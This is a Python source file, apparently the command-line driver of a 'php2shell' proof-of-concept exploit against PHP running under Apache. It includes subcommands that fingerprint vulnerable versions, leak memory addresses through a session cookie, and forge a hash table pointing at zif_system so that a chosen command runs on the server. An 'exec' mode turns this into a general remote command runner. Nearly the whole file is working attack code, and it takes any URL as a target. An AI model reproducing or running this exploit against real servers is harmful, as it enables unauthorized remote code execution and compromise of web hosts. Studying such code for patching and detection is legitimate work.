Files

522 lines
19 KiB
Python

import argparse
import copy
import hashlib
import json
import os
import socket
import ssl
import subprocess
import sys
import time
import urllib.parse
from poc import bodies, elf, forge, leak, outdir, profiles, wire
ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
INVL = {"display_errors", "memory_limit", "post_max_size", "output_buffering",
"max_file_uploads", "max_input_vars", "session.upload_progress.enabled",
"session.save_handler", "session.serialize_handler"}
FIXED = {"8.2": (8, 2, 35), "8.3": (8, 3, 36), "8.4": (8, 4, 27), "8.5": (8, 5, 12)}
VULN_LOW = {"8.2": (7, 3, 0), "8.3": (8, 3, 0), "8.4": (8, 4, 0), "8.5": (8, 5, 0)}
def banner():
import poc
print("php2shell poc %s | %s | %s" % (poc.__version__, poc.__author__, poc.__org__))
def dkr(args, timeout=120):
try:
r = subprocess.run(["docker"] + args, capture_output=True, text=True, timeout=timeout)
except (OSError, subprocess.TimeoutExpired):
return ""
return r.stdout
def parse_version(text):
for tok in text.split():
parts = tok.split(".")
if len(parts) == 3 and all(p.isdigit() for p in parts):
return tuple(int(p) for p in parts)
return None
def version_state(ver):
major = "%d.%d" % ver[:2]
if major not in FIXED:
return "unknown"
if ver >= FIXED[major]:
return "patched"
if ver >= VULN_LOW[major]:
return "vulnerable"
return "unknown"
def cmd_check(args):
name = args.name
reach = ""
if getattr(args, "url", ""):
reach = "yes" if require_target(args.host, args.port, args.tls, args.insecure) else "no"
vtext = dkr(["exec", name, "php", "-v"])
ver = parse_version(vtext)
info = dkr(["exec", name, "php", "-i"])
ini = {}
for line in info.splitlines():
key, _, val = line.partition("=>")
key = key.strip()
if key in INVL:
ini[key] = val.split("=>")[0].strip()
sha = ""
if ver is not None:
out = dkr(["exec", name, "sha256sum", args.lib_path])
if out.split():
sha = out.split()[0]
prof_name, prof = profiles.select(sha)
workers = dkr(["exec", name, "sh", "-c", "pgrep -c apache2"]).strip()
state = version_state(ver) if ver else "unknown"
rows = [("php_version", "%d.%d.%d" % ver if ver else "?", state)]
for key in sorted(ini):
rows.append(("ini." + key, ini[key], ""))
rows.append(("libphp_sha256", sha or "?", ""))
rows.append(("profile", prof_name or "NO PROFILE MATCH", ""))
rows.append(("workers", workers, ""))
if reach:
rows.append(("reachable", reach, ""))
ok = state == "vulnerable" and prof is not None
if args.json:
print(json.dumps({"vulnerable": ok, "reachable": reach or None,
"version": ver and "%d.%d.%d" % ver,
"state": state, "libphp_sha256": sha,
"profile": prof_name, "ini": ini, "workers": workers}, indent=2))
else:
for k, v, extra in rows:
print("%-42s %s%s" % (k, v, (" " + extra) if extra else ""))
print("%-42s %s" % ("verdict", "READY" if ok else "NOT READY"))
return 0 if ok else 1
def run_leak(args, prof, save=""):
host, port = args.host, args.port
path, warm_path = target_paths(args, prof)
held = wire.hold_workers(host, port, args.workers - 1, path=path,
tls=args.tls, insecure=args.insecure)
try:
wire.warm(host, port, path, tls=args.tls, insecure=args.insecure)
a1 = bodies.build_a1(prof["a1"])
r1 = wire.send(host, port, wire.frame_chunked(warm_path, a1, "%s:%d" % (host, port)),
timeout=args.timeout, tls=args.tls, insecure=args.insecure)
a1_status = wire.status(r1)
b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True)
r2 = wire.send(host, port, wire.frame_chunked(path, b1, "%s:%d" % (host, port)),
timeout=args.timeout, tls=args.tls, insecure=args.insecure)
if save:
with open(save, "wb") as fh:
fh.write(r2)
raw = wire.cookie(r2, b"PHPSESSID")
if raw is None:
raise leak.LeakError("no Set-Cookie PHPSESSID (status=%r, bytes=%d)" %
(wire.status(r2), len(r2)))
info = leak.classify(raw, prof)
info["a1_status"] = a1_status
info["b1_status"] = wire.status(r2)
info["cookie_bytes"] = len(raw)
return info
finally:
wire.release(held)
def cmd_leak(args):
if not require_target(args.host, args.port, args.tls, args.insecure):
return 1
prof = profile_or_die(args)
info = run_leak(args, prof, args.save)
if args.json:
print(json.dumps(info, default=hex, indent=2))
else:
print("a1_status %s" % info["a1_status"])
print("b1_status %s" % info["b1_status"])
print("cookie_bytes %d" % info["cookie_bytes"])
print("decoded %d" % info["decoded"])
print("zval_ptr_dtor %#x x%d" % (info["zdtor"], info["dtor_count"]))
print("libphp %#x" % info["lib"])
print("main %#x bucket_count=%d" % (info["main"], info["main_bucket_count"]))
print("libphp - main %#x" % info["delta"])
print("buckets " + " ".join("%#x:%d" % (b, c) for b, c in info["buckets"]))
return 0
def profile_or_die(args):
_, prof = profiles.only()
if args.profile:
if args.profile not in profiles.PROFILES:
print("unknown profile %r" % args.profile, file=sys.stderr)
raise SystemExit(2)
prof = profiles.PROFILES[args.profile]
return prof
def exploit_once(args, prof):
host, port = args.host, args.port
proof_path = args.proof
if os.path.exists(proof_path):
os.remove(proof_path)
path, warm_path = target_paths(args, prof)
held = wire.hold_workers(host, port, args.workers - 1, path=path,
tls=args.tls, insecure=args.insecure)
try:
wire.warm(host, port, path, tls=args.tls, insecure=args.insecure)
a1 = bodies.build_a1(prof["a1"])
r1 = wire.send(host, port, wire.frame_chunked(warm_path, a1, "%s:%d" % (host, port)),
timeout=args.timeout, tls=args.tls, insecure=args.insecure)
print("[1/4] A1 oom status=%s" % wire.status(r1))
time.sleep(0.2)
b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True)
r2 = wire.send(host, port, wire.frame_chunked(path, b1, "%s:%d" % (host, port)),
timeout=args.timeout, tls=args.tls, insecure=args.insecure)
raw = wire.cookie(r2, b"PHPSESSID")
if raw is None:
raise leak.LeakError("no Set-Cookie PHPSESSID (status=%s, bytes=%d)" %
(wire.status(r2), len(r2)))
info = leak.classify(raw, prof)
print("[2/4] B1 leak decoded=%d libphp=%#x main=%#x count=%d" %
(info["decoded"], info["lib"], info["main"], info["main_bucket_count"]))
time.sleep(0.2)
s_addr = info["main"] + prof["s_delta"]
zif = info["lib"] + prof["zif_offset"]
a2 = bodies.build_a2(prof["a2"])
r3 = wire.send(host, port, wire.frame_plain(path, a2, "%s:%d" % (host, port)),
timeout=args.timeout, tls=args.tls, insecure=args.insecure)
print("[3/4] A2 oom status=%s" % wire.status(r3))
time.sleep(0.2)
ht = forge.build_ht(s_addr, zif, args.cmd.encode())
b2 = forge.build_b2(prof["b2"], ht_addr=s_addr, ht=ht)
r4 = wire.send(host, port, wire.frame_plain(path, b2, "%s:%d" % (host, port)),
timeout=args.timeout, tls=args.tls, insecure=args.insecure)
print("[4/4] B2 forge S=%#x zif_system=%#x status=%s" %
(s_addr, zif, wire.status(r4)))
deadline = time.time() + 5.0
while time.time() < deadline:
if os.path.exists(proof_path):
with open(proof_path, "r", errors="replace") as fh:
proof = fh.read().strip()
if proof:
if getattr(args, "quiet", False):
return 0, proof
print(" RCE OK; proof %s:" % proof_path)
print(proof)
return 0, proof
time.sleep(0.2)
if not wire.status(r4):
print(" B2 got no response (worker aborted during shutdown) but %s never appeared"
% proof_path)
print(" the target's /out is not the client's proof directory; mount it at %s"
% os.path.dirname(proof_path))
print(" or pass --proof with the path the target actually writes")
else:
print(" no command output; B2 status=%r - stage-3 placement missed"
% wire.status(r4))
return 1, ""
finally:
wire.release(held)
def cmd_exploit(args):
prof = profile_or_die(args)
if not args.dry_run and not require_target(args.host, args.port,
args.tls, args.insecure):
return 1
if args.dry_run:
s_addr = 0x7D2700000000 + prof["s_delta"]
zif = 0x7D27FE200000 + prof["zif_offset"]
a1 = bodies.build_a1(prof["a1"])
b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True)
a2 = bodies.build_a2(prof["a2"])
ht = forge.build_ht(s_addr, zif, args.cmd.encode())
b2 = forge.build_b2(prof["b2"], ht_addr=s_addr, ht=ht)
out = {"S": hex(s_addr), "zif_system": hex(zif), "bytes_sent": 0,
"a1_sha256": hashlib.sha256(a1).hexdigest(),
"a2_sha256": hashlib.sha256(a2).hexdigest(),
"b1_sha256": hashlib.sha256(b1).hexdigest(),
"b2_sha256": hashlib.sha256(b2).hexdigest(),
"b2_bytes": len(b2), "ht_bytes": len(ht)}
if args.json:
print(json.dumps(out, indent=2))
else:
for k, v in out.items():
print("%-12s %s" % (k, v))
return 0
last = 1
for attempt in range(1, args.retries + 1):
try:
code, proof = exploit_once(args, prof)
except leak.LeakError as exc:
print(" attempt %d failed: %s" % (attempt, exc))
code, proof = 1, ""
last = code
if code == 0:
if args.json:
print(json.dumps({"rce": True, "attempt": attempt, "proof": proof}, indent=2))
return 0
time.sleep(0.5)
if args.json:
print(json.dumps({"rce": False, "attempts": args.retries}, indent=2))
print("[4/4] all attempts failed")
return last
def resolve_target(args):
url = getattr(args, "url", "")
if not hasattr(args, "tls"):
args.tls = False
if url:
parts = urllib.parse.urlsplit(url)
if parts.scheme in ("https", "wss"):
args.tls = True
elif parts.scheme not in ("", "http", "ws"):
print("unsupported scheme %r: use http:// or https://" % parts.scheme,
file=sys.stderr)
raise SystemExit(2)
if not parts.hostname:
print("--url carries no host", file=sys.stderr)
raise SystemExit(2)
default_port = 443 if args.tls else 80
if args.host is None:
args.host = parts.hostname
if args.port is None:
args.port = parts.port or default_port
if not args.path:
args.path = parts.path or "/index.php"
if args.host is None:
args.host = "127.0.0.1"
if args.port is None:
args.port = 18110
if args.path is None:
args.path = ""
return args
def target_paths(args, prof):
path = args.path or prof["path"]
warm = prof["warm_path"]
query = warm.split("?", 1)[1] if "?" in warm else ""
return path, (path + "?" + query if query else path)
def require_target(host, port, tls=False, insecure=False):
scheme = "https" if tls else "http"
try:
sock = wire.connect(host, port, 3, tls, insecure)
sock.close()
return True
except ssl.SSLError as exc:
print("TLS failed for %s://%s:%d: %s" % (scheme, host, port, exc), file=sys.stderr)
if not insecure:
print("self-signed certificate? retry with --insecure", file=sys.stderr)
return False
except OSError:
print("cannot connect to %s://%s:%d - no target listening" % (scheme, host, port),
file=sys.stderr)
print("start a target first - see README: Target (not shipped)", file=sys.stderr)
return False
def cmd_status(args):
name = args.name
rows = []
ver = dkr(["exec", name, "php", "-v"]).splitlines()
rows.append(("php", ver[0] if ver else "?"))
for line in dkr(["exec", name, "php", "-i"]).splitlines():
key, _, val = line.partition("=>")
key = key.strip()
if key in INVL:
rows.append((key, val.split("=>")[0].strip()))
sha = dkr(["exec", name, "sha256sum", args.lib_path]).split()
rows.append(("libphp_sha256", sha[0] if sha else "?"))
apache = dkr(["exec", name, "apache2", "-v"]).splitlines()
rows.append(("apache", apache[0] if apache else "?"))
rows.append(("workers", dkr(["exec", name, "sh", "-c", "pgrep -c apache2"]).strip()))
if not any(v.strip() for k, v in rows if k != "workers"):
print("cannot inspect container %r (is it running? is docker available?)" % name,
file=sys.stderr)
return 1
if args.json:
print(json.dumps(dict(rows), indent=2))
else:
for key, val in rows:
print("%-40s %s" % (key, val))
return 0
EXEC_REMOTE = "/out/.poc-exec"
CARRIER_LIMIT = 200
def exec_wrapper(command, remote=EXEC_REMOTE):
return "{ " + command + "\n} > " + remote + " 2>&1"
def exec_fits(command, remote=EXEC_REMOTE):
return len(exec_wrapper(command, remote)) <= CARRIER_LIMIT
def cmd_exec(args):
if not require_target(args.host, args.port, args.tls, args.insecure):
return 1
prof = profile_or_die(args)
if not exec_fits(args.cmd):
wrapped_len = len(exec_wrapper(args.cmd))
print("command is %d bytes after wrapping, carrier limit is %d"
% (wrapped_len, CARRIER_LIMIT), file=sys.stderr)
print("put it in a file and run: --cmd 'sh</out/c'", file=sys.stderr)
return 2
local = os.path.join(outdir.default_outdir(), ".poc-exec")
ns = copy.copy(args)
ns.cmd = exec_wrapper(args.cmd)
ns.proof = local
ns.quiet = True
outdir.ensure()
if os.path.exists(local):
os.remove(local)
code = 1
for attempt in range(1, args.retries + 1):
try:
code, _ = exploit_once(ns, prof)
except leak.LeakError as exc:
print(" attempt %d failed: %s" % (attempt, exc))
code = 1
if code == 0:
break
time.sleep(0.5)
if os.path.exists(local):
with open(local, "r", errors="replace") as fh:
out = fh.read()
os.remove(local)
print(out.rstrip())
return 0 if code == 0 else 1
return 1
def cmd_offsets(args):
syms = elf.symbol_offsets(args.lib, ["zval_ptr_dtor", "zif_system", "zif_passthru"])
if args.json:
print(json.dumps({k: (hex(v) if v else None) for k, v in syms.items()}, indent=2))
else:
for k, v in syms.items():
print("%-16s %s" % (k, hex(v) if v else "NOT FOUND"))
return 0 if syms.get("zif_system") else 1
def cmd_selftest(args):
_, prof = profiles.only()
a1 = bodies.build_a1(prof["a1"])
a2 = bodies.build_a2(prof["a2"])
b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True)
s_addr = 0x7D2700000000 + prof["s_delta"]
zif = 0x7D27FE200000 + prof["zif_offset"]
ht = forge.build_ht(s_addr, zif, b"id>/out/p1")
b2 = forge.build_b2(prof["b2"], ht_addr=s_addr, ht=ht)
assert b"files[R00000" + b"K" * prof["a1"]["key_pad"] + b"]" in a1
assert a2.count(b"name=\"files[R") == prof["a2"]["parts"]
assert b1.count(b"name=\"x") == 900
assert len(ht) == 384
assert ht[0x30:0x38] == zif.to_bytes(8, "little")
assert b2.count(b"name=\"ht\"") == 1
assert prof["delta_min"] <= 0x1E00000 <= prof["delta_max"]
print("selftest ok a1=%d a2=%d b1=%d b2=%d ht=%d" % (len(a1), len(a2), len(b1), len(b2), len(ht)))
return 0
def build_parser():
ap = argparse.ArgumentParser(prog="poc", add_help=True)
sub = ap.add_subparsers(dest="cmd", required=True)
def common(p):
p.add_argument("--host", default=None)
p.add_argument("--port", type=int, default=None)
p.add_argument("--name", default="p2s-lab")
p.add_argument("--lib-path", default="/usr/lib/apache2/modules/libphp.so")
p.add_argument("--profile", default="")
p.add_argument("--workers", type=int, default=1)
p.add_argument("--timeout", type=float, default=600.0)
p.add_argument("--json", action="store_true")
p = sub.add_parser("check")
common(p)
p.add_argument("--url", default="")
p.add_argument("--path", default="")
p.add_argument("--tls", action="store_true")
p.add_argument("--insecure", action="store_true")
p.set_defaults(func=cmd_check, resolve=True)
p = sub.add_parser("leak")
common(p)
p.add_argument("--url", default="")
p.add_argument("--path", default="")
p.add_argument("--tls", action="store_true",
help="use TLS; implied by an https:// url")
p.add_argument("--insecure", action="store_true",
help="skip TLS certificate verification (self-signed labs)")
p.add_argument("--save", default="")
p.set_defaults(func=cmd_leak, resolve=True)
p = sub.add_parser("exploit")
common(p)
p.add_argument("--url", default="")
p.add_argument("--path", default="")
p.add_argument("--tls", action="store_true",
help="use TLS; implied by an https:// url")
p.add_argument("--insecure", action="store_true",
help="skip TLS certificate verification (self-signed labs)")
p.add_argument("--cmd", default="id>/out/p1")
p.add_argument("--proof", default=os.path.join(outdir.default_outdir(), "p1"))
p.add_argument("--dry-run", action="store_true")
p.add_argument("--retries", type=int, default=3)
p.set_defaults(func=cmd_exploit, resolve=True)
p = sub.add_parser("status")
common(p)
p.set_defaults(func=cmd_status)
p = sub.add_parser("exec")
common(p)
p.add_argument("--url", default="")
p.add_argument("--path", default="")
p.add_argument("--tls", action="store_true",
help="use TLS; implied by an https:// url")
p.add_argument("--insecure", action="store_true",
help="skip TLS certificate verification (self-signed labs)")
p.add_argument("--cmd", required=True)
p.add_argument("--retries", type=int, default=3)
p.set_defaults(func=cmd_exec, resolve=True)
p = sub.add_parser("offsets")
p.add_argument("--lib", required=True)
p.add_argument("--json", action="store_true")
p.set_defaults(func=cmd_offsets)
p = sub.add_parser("selftest")
p.add_argument("--json", action="store_true")
p.set_defaults(func=cmd_selftest)
return ap
def main(argv=None):
args = build_parser().parse_args(argv)
if getattr(args, "resolve", False):
resolve_target(args)
if not args.json:
banner()
return args.func(args)